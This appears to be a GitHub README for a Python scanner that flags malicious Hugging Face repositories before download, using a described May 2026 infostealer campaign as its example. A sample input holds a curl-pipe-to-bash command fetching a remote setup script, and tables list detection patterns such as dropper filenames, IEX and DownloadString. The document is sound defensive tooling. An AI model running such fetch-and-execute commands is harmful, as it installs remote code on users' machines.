poojakira/hf-model-provenance-scanner
GitHub: poojakira/hf-model-provenance-scanner
一款在下载前对 Hugging Face 模型仓库进行来源审查与恶意信号检测的安全扫描工具,防止用户遭遇供应链攻击。
Stars: 0 | Forks: 0
# hf-model-provenance-scanner
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
## 促使该工具诞生的攻击事件
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
**2026年5月14日 — 06:00 UTC。** 一个名为 `Open-OSS/privacy-filter` 的仓库出现在 Hugging Face 上。到午夜时分,它已成为**热门榜首**,**在18小时内下载量达到 244,000 次**。
该攻击链分为三个阶段:
```
loader.py → PowerShell download cradle → Rust infostealer
```
1. README 指示用户运行 `python loader.py`。
2. `loader.py` 从 CDN 获取了一个 PowerShell 脚本。
3. 该 PowerShell 脚本编译并执行了一个 Rust 二进制文件,用于窃取 SSH 密钥、AWS 凭证和浏览器 Cookie。
该仓库在第二天 UTC 时间 00:18 被移除。但对于 244,000 次拉取操作而言,为时已晚。
**在下载之前,没有任何现有的工具可以捕获此威胁。**
- **Garak** 测试的是已加载模型的输出 —— 如果您根本不想加载它,这就毫无用处。
- **ModelScan** 检测权重文件_内部_的 pickle 漏洞利用 —— 它无法标记 loader.py 或缺失的 SBOM。
- **Vigil / Rebuff** 在_运行时_保护 LLM 的_输入_ —— 这是一个完全不同的威胁面。
`hf-model-provenance-scanner` 会在_任何文件被下载之前_运行,并检测此类攻击的元数据和结构特征信号。
## 快速开始
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
### 作为库使用
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
from hf_scanner.scanner import scan
# 从你自己的 HF API 调用、CI pipeline 或手动审查中填充。
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
repo_metadata = {
"repo_id": "Open-OSS/privacy-filter",
"author": "Open-OSS",
"files": ["loader.py", "config.json", "README.md"],
"readme": "Run: curl https://release.open-oss.io/setup.sh | bash",
"downloads_24h": 244_000,
"created_at": "2026-05-14T00:00:00Z",
"author_repo_count": 0,
"likes": 12,
}
result = scan(repo_metadata)
print(result.risk_level) # 'CRITICAL'
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
print(result.recommendation) # 'BLOCK'
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
print(result.risk_score) # e.g. 95
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
for finding in result.findings:
print(f"[{finding.severity}] {finding.title}")
```
### 作为 CLI 使用
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
pip install hf-model-provenance-scanner
# 从 JSON 元数据文件
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
hf-scan --meta repo_meta.json
# 从 stdin 管道传输 JSON
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
echo '{"repo_id":"Open-OSS/privacy-filter","author":"Open-OSS","files":["loader.py"],"downloads_24h":244000,"author_repo_count":0}' \
| hf-scan
# 机器可读的 JSON 输出
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
hf-scan --meta repo_meta.json --format json
# Exit codes: 0 = ALLOW, 1 = REVIEW, 3 = BLOCK
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
## 终端输出示例
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
════════════════════════════════════════════════════════════
HF Model Provenance Scanner
════════════════════════════════════════════════════════════
Repo : Open-OSS/privacy-filter
Scanned: 2026-05-14T06:32:11+00:00
Risk Score : [████████████████████████████████████░░░░] 89/100
Risk Level : CRITICAL
╔══════════════════════════════════════╗
║ 🚫 BLOCK — DO NOT LOAD THIS MODEL ║
╚══════════════════════════════════════╝
Findings (7 total):
────────────────────────────────────────────────────────
1. [CRITICAL ] Known malicious loader script: 'loader.py'
Check : code_execution
Desc : The file 'loader.py' has a name associated with malware
delivery loaders. The May 2026 attack used this filename.
Evidence: file='loader.py'
2. [CRITICAL ] curl-pipe-to-shell pattern detected
Check : code_execution
Desc : The README/model card contains an instruction that would
execute remote code on the user's machine.
Evidence: snippet='curl https://release.open-oss.io/setup.sh | bash'
3. [HIGH ] Suspicious download velocity: 244,000 in 24 h
Check : metadata_trust
Desc : The repo received 244,000 downloads in its first 24 hours.
Evidence: downloads_24h=244000, threshold=10000
4. [HIGH ] Very new repository: 0.3 days old
Check : metadata_trust
Desc : Repos younger than 7 days have no track record.
Evidence: created_at='2026-05-14T00:00:00Z', age_days=0.3
5. [MEDIUM ] Author 'Open-OSS' has no other public repositories
Check : metadata_trust
Evidence: author='Open-OSS', author_repo_count=0
6. [MEDIUM ] No trust artifacts (model card, SBOM, provenance)
Check : sbom_check
Evidence: model_card=False, sbom=False, provenance=False
7. [MEDIUM ] Repository has no model weights but contains scripts
Check : pickle_exploit
Evidence: script_files=['loader.py']
════════════════════════════════════════════════════════════
```
## 检查项参考
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
### 1. `org_impersonation` — 品牌冒充检测
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 检测内容 | 重要性 |
|---|---|
| 作者用户名与已知安全组织的编辑距离 ≤ 2 | `0penai`, `micros0ft`, `meta_llama` 能一眼欺骗人类 |
| 照搬真实组织模型卡片的样板文字 | 攻击者复制真实的营销文本以显得合法 |
**已知安全的组织:** `openai`, `meta-llama`, `google`, `microsoft`, `anthropic`, `mistralai`, `huggingface`, `stability-ai`, `cohere` 等。
**严重程度:** 任何匹配均为 CRITICAL。
### 2. `pickle_exploit` — 不安全的序列化检测
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 检测内容 | 重要性 |
|---|---|
| 没有 `.safetensors` 替代文件的 `.pkl`, `.pt`, `.bin`, `.pth` 文件 | 对 pickle 文件使用 `torch.load()` = 任意代码执行 |
| README 中包含 `pickle.load()` / `torch.load()` / `np.load(allow_pickle=True)` | 指示用户使用危险的执行路径 |
| 没有模型权重但存在脚本 | 这是投递机制,而不是真正的模型 |
**严重程度:** 对于没有 safetensors 的 pickle 为 HIGH;如果同时存在 safetensors 则为 INFO。
### 3. `code_execution` — 可执行脚本检测
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 文件 / 模式 | 严重程度 |
|---|---|
| `loader.py`, `downloader.py`, `dropper.py`, `stager.py` | CRITICAL |
| `*.ps1`, `*.bat`, `*.cmd`, `*.vbs` | CRITICAL |
| README 中的 `curl … \| bash`, `wget … \| sh` | CRITICAL |
| README 中的 `IEX`, `Invoke-Expression`, `DownloadString` | CRITICAL |
| `install.sh`, `run.sh`, `*.exe`, `*.elf` | HIGH |
| README 中的 `subprocess.run()`, `os.system()` | HIGH |
| `setup.py`, `Makefile` | MEDIUM |
### 4. `metadata_trust` — 账户与活跃度信号
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 信号 | 阈值 | 严重程度 |
|---|---|---|
| 仓库存在时间 | < 1 天 | HIGH |
| 仓库存在时间 | 1–7 天 | MEDIUM |
| 下载速度 | 24 小时内 > 10,000 | HIGH |
| 作者的仓库数量 | 0 个其他仓库 | MEDIUM |
| 点赞/下载比例 | < 0.0005(机器人下载) | MEDIUM |
| 点赞/下载比例 | > 50(购买的点赞) | LOW |
### 5. `sbom_check` — 来源产物检查
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 产物 | 缺失时的严重程度 |
|---|---|
| 模型卡片(包含 `model-index` YAML 的 `README.md`) | LOW |
| SBOM(`sbom.json`, `sbom.spdx`, `cyclonedx.json`) | INFO |
| 来源(`provenance.json`, `attestation.json`) | INFO |
| 三者同时缺失 | MEDIUM(升级) |
### 6. `supply_chain` — 依赖分析
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 模式 | 严重程度 |
|---|---|
| 指向非 PyPI 的 `--index-url` | HIGH |
| 直接从 URL 安装 wheel/tarball | HIGH |
| 已知的拼写错误抢注包名 | HIGH |
| `git+https://` 依赖 | MEDIUM |
| 非 PyPI 的 `--extra-index-url` | MEDIUM |
| > 3 个未锁定的依赖 | LOW |
## 风险评分公式
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
0–100 的风险评分使用**边际递减效应**,因此单个 CRITICAL 发现不会让分数直接爆表,但两个或多个 CRITICAL 发现必定会使其达到顶峰。
```
score = min(100, Σ severity_weight(i) × 1 / (1 + 0.15 × same_severity_count(i)))
```
严重程度权重:
| 严重程度 | 基础权重 |
|---|---|
| CRITICAL | 55 |
| HIGH | 35 |
| MEDIUM | 18 |
| LOW | 8 |
| INFO | 2 |
评分 → 风险等级 → 建议:
| 评分 | 风险等级 | 建议 |
|---|---|---|
| 0 | SAFE | ALLOW |
| 1–15 | LOW | ALLOW |
| 16–35 | MEDIUM | REVIEW |
| 36–60 | HIGH | REVIEW |
| 61–100 | CRITICAL | BLOCK |
**强制覆盖:** 任何 CRITICAL 严重程度的发现都会强制 `recommendation = BLOCK`,无论评分如何。
## `repo_metadata` Schema
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-proance-scanner/releases)
```
{
# Required
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"repo_id": str, # "author/model-name"
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
# Strongly recommended
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"author": str, # HF username or org slug
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"files": list[str], # filenames in the repo root
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"readme": str, # raw README.md content
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"created_at": str, # ISO-8601 UTC "2026-05-14T00:00:00Z"
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"author_repo_count": int, # how many repos the author has
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"downloads_24h": int, # downloads in first 24 hours
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"downloads_last_month": int,
"likes": int,
# Optional
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"requirements": str, # raw requirements.txt content
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
"tags": list[str],
"last_modified": str, # ISO-8601 UTC
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
}
```
所有键均为可选。缺失的键将被保守处理(对信任信号采取最坏情况的假设)。
## 其他工具不具备的功能
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
| 工具 | 功能 | 遗漏之处 |
|---|---|---|
| **Garak** | 对*已加载*模型的输出安全性进行红队测试 | 无法在您下载之前运行 |
| **ModelScan** | 扫描权重文件内部的 pickle 字节码 | 需要文件存在;漏报 loader.py 和缺失的 SBOM |
| **Vigil / Rebuff** | 检测*运行时*的提示词注入 | 完全不同的威胁面 |
| **PurpleLlama** | 模型输出安全基准测试 | 仅限加载后评估 |
| **Agentic Radar** | 扫描 Agentic 工作流代码 | 未专注于模型来源 |
| **hf-model-provenance-scanner** | **下载前的供应链审计** | _这正是目前的空白_ |
核心洞察:**仅凭元数据就可以检测到 2026 年 5 月的攻击**,无需下载任何一个字节。`loader.py` + 24小时内 24.4 万次下载 + 零仓库账户 + 无模型卡片 = BLOCK。现有的工具都没有做出这种判断。
## 安装
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
# 从 PyPI(一旦发布)
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
pip install hf-model-provenance-scanner
# 从源码
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
git clone https://github.com/example/hf-model-provenance-scanner
cd hf-model-provenance-scanner
pip install -e ".[dev]"
```
**要求:** Python ≥ 3.11。零运行时依赖。
## 开发
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
```
# 运行测试
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
python -m pytest tests/ -v
# Lint
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
ruff check src/ tests/
# 针对示例 payload 运行 CLI
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
echo '{"repo_id":"Open-OSS/privacy-filter","author":"Open-OSS","files":["loader.py"],"downloads_24h":244000,"author_repo_count":0,"created_at":"2026-05-14T00:00:00Z"}' \
| python -m hf_scanner.scanner
```
## 许可证
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
MIT — 详见 [LICENSE](LICENSE)。
## 贡献
[](https://github.com/poojakira/hf-model-provenance-scanner/actions/workflows/ci.yml) [](https://www.python.org/) [](LICENSE) [](https://github.com/poojakira/hf-model-provenance-scanner/releases)
欢迎提交 Pull request。请为任何新的检查项添加测试。
在提交 PR 之前请阅读 [CONTRIBUTING.md](CONTRIBUTING.md)。
标签:AI安全, Chat Copilot, LNA, Python, StruQ, 文档结构分析, 无后门, 逆向工具